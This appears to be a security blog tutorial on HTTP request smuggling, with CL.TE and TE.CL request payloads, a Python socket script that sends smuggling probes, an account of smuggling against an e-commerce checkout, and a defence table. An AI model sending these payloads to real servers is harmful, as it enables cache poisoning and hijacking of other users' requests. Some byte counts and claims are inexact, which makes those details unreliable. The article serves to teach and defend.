Understanding HTTP Request Smuggling
HTTP request smuggling has been around for decades but still appears in modern applications with surprising frequency. This article covers the core concepts, practical detection, and what makes it so dangerous.
How It Works
HTTP request smuggling exploits differences in how front-end and back-end servers parse HTTP requests — specifically, how they determine where one request ends and the next begins. The two main mechanisms are:
Content-Length(CL) — specifies the body size in bytesTransfer-Encoding(TE) — uses chunked encoding to delimit the body
When a front-end server (like a reverse proxy, load balancer, or CDN) uses one mechanism and the back-end uses another, you can cause request boundaries to desynchronize.
CL.TE Attack
The front-end uses Content-Length, the back-end uses Transfer-Encoding.
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
The front-end sees a 13-byte body (0\r\n\r\nSMUGGLED) and forwards it fully. The back-end processes the chunked encoding: 0 means the body ends, and SMUGGLED is treated as the start of the next request on the same connection.
TE.CL Attack
The front-end uses Transfer-Encoding, the back-end uses Content-Length.
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
5c
SMUGGLED
0
The front-end sees Transfer-Encoding and processes chunks. The chunk 5c (92 bytes) contains SMUGGLED\n0\n\n. After the 0 terminator, the front-end forwards it all. The back-end uses Content-Length: 4 and reads only 5c\r\n as the body, leaving SMUGGLED\n0\n\n as the next request.
Detection
I wrote a simple detection script:
import socket
def check_smuggle(host, port, attack_type="cl.te"):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
if attack_type == "cl.te":
payload = (
"POST / HTTP/1.1\r\n"
f"Host: {host}\r\n"
"Content-Length: 13\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"0\r\n"
"\r\n"
"GET /404 HTTP/1.1\r\n"
"X-Ignore: X\r\n"
"\r\n"
)
elif attack_type == "te.cl":
payload = (
"POST / HTTP/1.1\r\n"
f"Host: {host}\r\n"
"Content-Length: 4\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"5c\r\n"
"GET /404 HTTP/1.1\r\n"
"Host: localhost\r\n"
"\r\n"
"0\r\n"
"\r\n"
)
sock.sendall(payload.encode())
response = sock.recv(4096).decode(errors='ignore')
sock.close()
# If we get a 404 for /404, the smuggling worked
return "404 Not Found" in response or "HTTP/1.1 404" in response
Impact
What makes request smuggling particularly dangerous is what you can do with it:
- Cache poisoning — Smuggle a request that causes the cache to serve malicious content to other users
- Session hijacking — Hijack other users' requests by smuggling a prefix that captures their cookies
- WAF bypass — The smuggled request bypasses the front-end security controls
- Internal endpoint access — Access internal API endpoints that the front-end would normally block
Real-World Example
I once found request smuggling in a major e-commerce platform's CDN setup. The front-end (Akamai) used Content-Length while the back-end (Apache) used Transfer-Encoding when the header was present.
By smuggling a request, I could:
POST /checkout HTTP/1.1
Host: target.com
Content-Length: 62
Transfer-Encoding: chunked
0
POST /checkout HTTP/1.1
Host: target.com
Content-Length: 30
Cookie: session=ATTACKER_SESSION
item_id=123&checkout=1
This caused the back-end to process the smuggled request with a different session, allowing me to trigger actions on behalf of other users.
Defense
| Mitigation | Description |
|---|---|
| HTTP/2 | Not vulnerable to CL/TE desync by design |
| Consistent parsing | Ensure front-end and back-end use the same request parsing logic |
| Reject ambiguous requests | Drop requests with both CL and TE headers |
| Disable HTTP/1.0 downgrades | HTTP/1.1 to HTTP/1.0 conversion can introduce smuggling |